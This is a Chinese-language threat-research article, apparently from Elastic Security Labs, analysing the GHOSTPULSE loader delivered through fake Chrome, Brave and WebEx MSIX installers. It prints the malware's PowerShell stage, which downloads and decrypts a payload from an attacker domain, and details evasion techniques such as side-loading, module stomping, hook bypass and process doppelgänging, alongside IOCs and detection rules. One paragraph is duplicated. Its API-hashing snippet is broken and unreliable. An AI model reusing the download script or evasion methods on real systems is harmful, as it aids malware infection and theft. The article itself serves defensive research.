Salim BitamJoe Desimone

GHOSTPULSE 利用防御规避“妙招”来攻击受害者

Elastic 安全实验室揭示了一个新的攻击活动细节,该活动利用防御规避功能,使用恶意 MSIX 可执行文件感染受害者。

阅读时间:17 分钟攻击模式恶意软件分析
GHOSTPULSE haunts victims using defense evasion bag o' tricks

更新

2024年10月,我们发布了GHOSTPULSE第二阶段的更新,其中包含新的规避技术。您可以点击此处查看。

前言

Elastic 安全实验室观察到了一场利用已签名的MSIX应用程序包来获取初始访问权限的攻击活动。该活动利用了一个隐蔽的加载程序,我们称之为GHOSTPULSE,它会解密并注入最终有效负载以逃避检测。

MSIX是Windows应用程序包格式,开发人员可以使用它来打包、分发和安装应用程序到Windows用户。使用应用安装程序,只需双击即可安装MSIX包。这使得它们成为攻击者试图入侵毫无戒心的受害者的潜在目标。但是,MSIX需要访问购买或窃取的代码签名证书,这使得拥有高于平均资源的组织能够使用它们。

在一个常见的攻击场景中,我们怀疑用户通过受感染的网站、搜索引擎优化(SEO)技术或恶意广告来下载恶意MSIX包。我们观察到的伪装主题包括Chrome、Brave、Edge、Grammarly和WebEx等安装程序。

从用户的角度来看,“安装”按钮似乎按预期工作。没有弹出窗口或警告。但是,一个PowerShell脚本被秘密地用来下载、解密和在系统上执行GHOSTPULSE。

恶意软件分析

GHOSTPULSE加载程序可以分解成3个阶段(有时前面会有一个PowerShell脚本)来执行最终有效负载。

阶段0

我们将恶意MSIX安装程序丢弃的PowerShell脚本视为阶段0有效负载。PowerShell脚本通常包含在MSIX感染载体中,但在其他GHOSTPULSE感染方法(MSI、EXE、ISO)中并非总是如此。在一个样本中,PowerShell脚本从manojsinghnegi[.]com/2.tar.gpg下载一个GPG加密文件。

接下来,PowerShell脚本使用以下参数使用命令行GPG实用程序解密文件:

  • putin - GPG文件的密码
  • --batch - 以非交互模式执行GPG
  • --yes - 对任何提示回答“是”
  • --passphrase-fd 0 - 从文件描述符读取密码,0指示GPG使用STDIN,即putin
  • --decrypt - 解密文件
  • --output - 将解密后的文件保存为什么名称
# 1
$url = "https://manojsinghnegi[.]com/2.tar.gpg"
$outputPath = "$env:APPDATA\$xxx.gpg"
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg

GPG实用程序包含在恶意MSIX安装程序包中。

解密后的文件是一个tar存档,其中包含一个可执行文件VBoxSVC.exe,实际上是重命名的已签名gup.exe可执行文件,用于更新易受侧加载攻击的Notepad++,在一个示例中是加密文件handoff.wav,以及一个大部分良性的库libcurl.dll,其中一个函数被恶意代码覆盖。PowerShell执行二进制文件VBoxSVC.exe,它将从当前目录侧加载恶意DLL libcurl.dll。通过最大限度地减少加密恶意代码的磁盘占用空间,攻击者能够规避基于文件的反病毒和机器学习扫描。

阶段1

GHOSTPULSE的第一阶段嵌入在一个恶意DLL中,该DLL通过良性可执行文件进行侧加载。相应代码的执行在_DllEntryPoint_阶段触发。

该过程首先通过解析_InLoadOrderModuleList_ API来查明恶意DLL libcurl.dll的基地址。此列表位于进程环境块(PEB)中,系统地记录有关已加载模块的信息。

接下来,GHOSTPULSE构建一个导入地址表(IAT),其中包含必要的API。此操作涉及解析进程环境块(PEB)中的_InLoadOrderModuleList_结构。

# Python code used for API hashing
def calculate_api_name_hash(api_name):
    value = 0
    for char in input_string:
        total = (ord(char) + value *0x1003F)&0xFFFFFFFF
    return value

以下是从GHOSTPULSE恶意软件样本中重建的阶段1 IAT结构,仅供参考。

struct core_stage1_IAT
{
void *kernel32_LoadLibraryW;
void *kernel32_QueryPerformanceCounter;
void *ntdll_module;
void *kernel32_CloseHandle;
__int64 field_20;
__int64 field_28;
__int64 field_30;
__int64 field_38;
void *kernel32_GetTempPathW;
void *kernel32_GetModuleFileNameW;
__int64 field_50;
__int64 field_58;
__int64 field_60;
void *ntdll__swprintf;
__int64 field_70;
__int64 field_78;
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
void *kernel32_CreateFileW;
void *kernel32_ReadFile;
void *ntdll_NtQueryInformationProcess;
void *kernel32_GetFileSize;
__int64 field_A8;
void *kernel32_module;
__int64 field_B8;
void *ntdll_NtDelayExecution;
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
__int64 field_D0;
void *kernel32_GlobalFree;
__int64 field_E0;
void *ntdll_RtlQueryEnvironmentVariable_U;
};

然后,它通过读取和解析当前目录中名为handoff.wav的文件来继续其操作。此文件包含一个加密的数据块,分为不同的块。每个数据块都位于字符串IDAT之后。解析过程涉及恶意软件通过两个不同的步骤执行。

第一阶段涉及通过在文件中搜索IDAT字符串来识别加密数据的开始,后面跟着一个独特的4字节标记值。如果标记与恶意软件配置中存储的值相符,则恶意软件会提取加密blob的字节。初始结构如下:

struct initial_idat_chunk
{
  DWORD size_of_chunk;
  DWORD IDAT_string;
  DWORD tag;
  DWORD xor_key;
  DWORD size_of_encrypted_blob;
  _BYTE first_chunk[];
};
  • **size_of_chunk**: 恶意软件使用此值,执行位移运算以确定在下一个IDAT出现之前要提取的块大小。
  • **xor_key**: 一个4字节长的XOR密钥,用于在提取后解密合并的加密blob。
  • **size_of_encrypted_blob**: 表示加密blob的总大小,该大小存储在文件中的块中。
  • **first_chunk**: 标记内存中第一块数据的开始。

在第二步中,恶意软件找到下一个IDAT的出现,并继续提取其后的加密块,其格式如下:

struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
};
  • **size_of_chunk**: 恶意软件使用此值,执行位移运算以确定在下一个IDAT出现之前要提取的块大小。
  • **n_chunk**: 标记内存中块数据的开始。

恶意软件继续提取加密数据块,直到达到指定的size_of_encrypted_blob。随后,恶意软件使用4字节XOR密钥_xor_key_进行数据解密。

在此阶段,已经压缩的数据块将由恶意软件进行解压缩。解压缩过程使用RtlDecompressBuffer api。

恶意软件继续通过加载其配置中存储的特定库(在本例中为mshtml.dll),使用_LoadLibraryW_函数。包含在已解密和解压缩的数据块中的shellcode(阶段2)被写入新加载的DLL的.text部分,然后执行。

这种技术被称为“模块践踏”(module stomping)。下图显示了使用Elastic Defend捕获到的与模块践踏相关的VirtualProtect API调用。

第二阶段

第二阶段首先构建一个新的IAT结构,并使用CRC32算法作为API名称哈希机制。以下是第二阶段的IAT结构。

struct core_stage2_IAT
{
  void *kernel32_module;
  void *ntdll_module;
  void *kernel32_CreateFileW;
  void *kernel32_WriteFile;
  void *kernel32_ReadFile;
  void *kernel32_SetFilePointer;
  void *kernel32_CloseHandle;
  void *kernel32_GlobalAlloc;
  void *kernel32_GlobalFree;
  void *kernel32_ExpandEnvironmentStringsW;
  void *kernel32_GetFileSize;
  void *kernel32_GetProcAddress;
  void *kernel32_LoadLibraryW;
  void *ntdll__swprintf;
  void *kernel32_QueryPerformanceCounter;
  void *ntdll_RtlDecompressBuffer;
  void *field_80;
  void *field_88;
  void *field_90;
  void *field_98;
  void *field_A0;
  void *ntdll_NtDelayExecution;
  void *ntdll_RtlRandom;
  void *kernel32_GetModuleFileNameW;
  void *kernel32_GetCommandLineW;
  void *field_C8;
  void *ntdll_sscanf;
  void *field_D8;
  void *ntdll_NtQueryInformationProcess;
  void *ntdll_NtQuerySystemInformation;
  void *kernel32_CreateDirectoryW;
  void *kernel32_CopyFileW;
  void *ntdll_NtClose;
  void *field_108;
  void *field_110;
  void *field_118;
  void *field_120;
  void *field_128;
  void *kernel32_SetCurrentDirectoryW;
  void *field_138;
  void *kernel32_SetEnvironmentVariableW;
  void *kernel32_CreateProcessW;
  void *kernel32_GetFileAttributesW;
  void *msvcrt_malloc;
  void *msvcrt_realloc;
  void *msvcrt_free;
  void *ntdll_RtlHashUnicodeString;
  void *field_178;
  void *field_180;
  void *kernel32_OpenMutexA;
  void *field_190;
  void *kernel32_VirtualProtect;
  void *kernel32_FlushInstructionCache;
  void *field_1A8;
  void *ntdll_NtOpenProcessToken;
  void *ntdll_NtQueryInformationToken;
  void *ntdll_RtlWalkFrameChain;
  void *field_1C8;
  void *addr_temp_file_content;
  void *addr_decrypted_file;
};

关于NT函数,恶意软件从磁盘读取ntdll.dll库,并将其写入具有读、写和执行权限的动态分配的内存空间。随后,它解析加载的ntdll.dll库以提取所需NT函数的偏移量。这些偏移量随后存储在新构建的IAT结构中。当恶意软件需要执行NT API时,它将API偏移量添加到ntdll.dll的基地址,并直接调用API。鉴于NT API在非常低的级别运行,它们直接执行系统调用,不需要使用LoadLibrary API将ntdll.dll库加载到内存中,这样做是为了逃避安全产品设置的用户态钩子。

以下是恶意软件用于存储NT API偏移量的结构。

struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
{
  __int64 ntdll_module;
  int ZwCreateSection;
  int ZwMapViewOfSection;
  int ZwWriteVirtualMemory;
  int ZwProtectVirtualMemory;
  int NtSuspendThread;
  int ZwResumeThread;
  int ZwOpenProcess;
  int ZwGetContextThread;
  int NtSetContextThread;
};

如果配置为这样做,GHOSTPULSE能够通过生成一个指向第一阶段二进制文件(表示为VBoxSVC.exe)的.lnk文件来建立持久性。为此,恶意软件利用COM(组件对象模型)对象作为其技术的一部分。

它从第一阶段的第一个解密blob中提取另一个数据子blob。此数据位于结构中的特定位置。然后,恶意软件使用机器计算机名称的CRC32值与常数值0xA1B2D3B4之间XOR运算的结果对这个子blob进行XOR加密。最后,加密数据保存到用户临时文件夹中的文件中。它从第一阶段的第一个解密blob中提取另一个数据子blob。此数据位于结构中的特定位置。然后,恶意软件使用机器计算机名称的CRC32值与常数值0xA1B2D3B4之间XOR运算的结果对这个子blob进行XOR加密。最后,加密数据保存到用户临时文件夹中的文件中。

然后,恶意软件使用第二阶段配置中指定的可执行文件启动一个挂起的子进程,在本例中为32位cmd.exe。然后,它使用一个随机名称(例如:GFHZNIOWWLVYTESHRTGAVC)向子进程添加一个环境变量,指向前面创建的临时文件。

此外,恶意软件继续创建一个节对象,并使用ZwCreateSectionZwMapViewOfSection API在子进程中映射它的视图到mshtml.dll

合法的mshtml.dll代码被WriteProcessMemory API覆盖。然后,使用Wow64SetThreadContext API将主线程的执行重定向到mshtml.dll中的恶意代码,如下图所示。

父进程立即终止自身。

第三阶段

GHOSTPULSE的第三阶段的目标是在另一个进程中加载和执行最终有效载荷。第三阶段一个有趣的部分是它用新指令覆盖之前执行的指令,以增加分析难度。它也能够使用上面描述的相同方法建立持久性。GHOSTPULSE使用“天堂之门”(heaven’s gate)”技术执行NTDLL API。

第三阶段首先使用CRC32作为哈希算法构建自己的函数导入表。此外,如果配置为这样做,它能够通过使用Wow64FsRedirection过程来禁用文件系统到WOW64的重定向。

之后,第三阶段访问之前设置的环境变量,在本例中为GFHZNIOWWLVYTESHRTGAVC,检索关联的临时文件并继续解密其内容。

解密后的文件包含配置和最终有效负载(加密格式)。最终有效负载使用存储在配置中的200字节长密钥进行XOR解密。然后,恶意软件使用一组函数解析有效负载的PE结构,这些函数将指示如何注入有效负载,例如有效负载类型(DLL或可执行文件)体系结构等。

GHOSTPULSE采用进程Doppelgänging(进程替身)技术,利用NTFS事务功能将最终有效负载注入新的子进程。以下步骤说明了该过程。

  • 调用CreateTransaction API启动事务。
  • 使用ZwCreateFile API在临时文件夹中创建一个具有随机文件名的交易文件。
  • 使用ZwWriteFile API将有效负载写入临时文件。
  • 使用ZwCreateSection API创建事务文件的节。
  • 此时不再需要该文件,恶意软件调用RollbackTransaction API回滚事务。
  • GHOSTPULSE使用其配置中获取的目标进程路径创建一个挂起的进程,在我们的样本中为1msbuild.exe1
  • 它使用ZwMapViewOfSection API将该节的视图映射到进程。
  • 它使用NtSetContextThread API将子进程线程指令指针设置为最终有效负载的入口点。
  • 最后,它使用NtResumeThread API恢复线程。

最终有效载荷

最终有效载荷因样本而异,但通常是信息窃取程序。我们已经观察到SectopRAT、Rhadamanthys、Vidar、Lumma和NetSupport作为最终有效载荷。在SectopRAT样本中,恶意软件首先联系Pastebin以检索命令和控制地址。在本例中,它是通过TCP端口15647连接到195.201.198[.]179,如下所示。

配置提取器

在此研究的同时,Elastic Security Research团队提供了一个配置提取器,允许威胁研究人员继续研究此活动中的进一步发展,并扩展我们社区的检测能力。提取器将GHOSTPULSE附带的加密文件作为输入。

检测指导

Elastic Defend使用以下行为保护规则检测此威胁。

  • 对可疑顶级域的DNS查询
  • 由已签名二进制代理程序写入的文件的库加载
  • 来自未签名DLL的可疑API调用
  • 对远程进程的可疑内存写入
  • 从修改后的NTDLL创建进程

以下YARA规则还将检测磁盘上的GHOSTPULSE加载程序。

观察结果

所有可观察数据也可以以ECS和STIX格式下载

本研究中讨论了以下可观察数据。

可观察数据类型名称参考
78.24.180[.]93ipv40阶段C2 IP
manojsinghnegi[.]com域名0阶段C2域名
manojsinghnegi[.]com/2.tar.gpgURL0阶段C2 URL
0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20SHA256Chrome-x64.msix恶意MSIX
ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8SHA256Brave-x64.msix恶意MSIX
4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356SHA256Webex.msix恶意MSIX
eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61SHA256new1109.ps1PowerShell下载器
49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9SHA25638190626900.rarGHOSTPULSE tar 归档文件
Futurity Designs Ltd代码签名者Chrome-x64.msix 代码签名者
Fodere Titanium Limited代码签名者Brave-x64.msix 代码签名者
IMPERIOUS TECHNOLOGIES LIMITED代码签名者Webex.msix 代码签名者

参考资料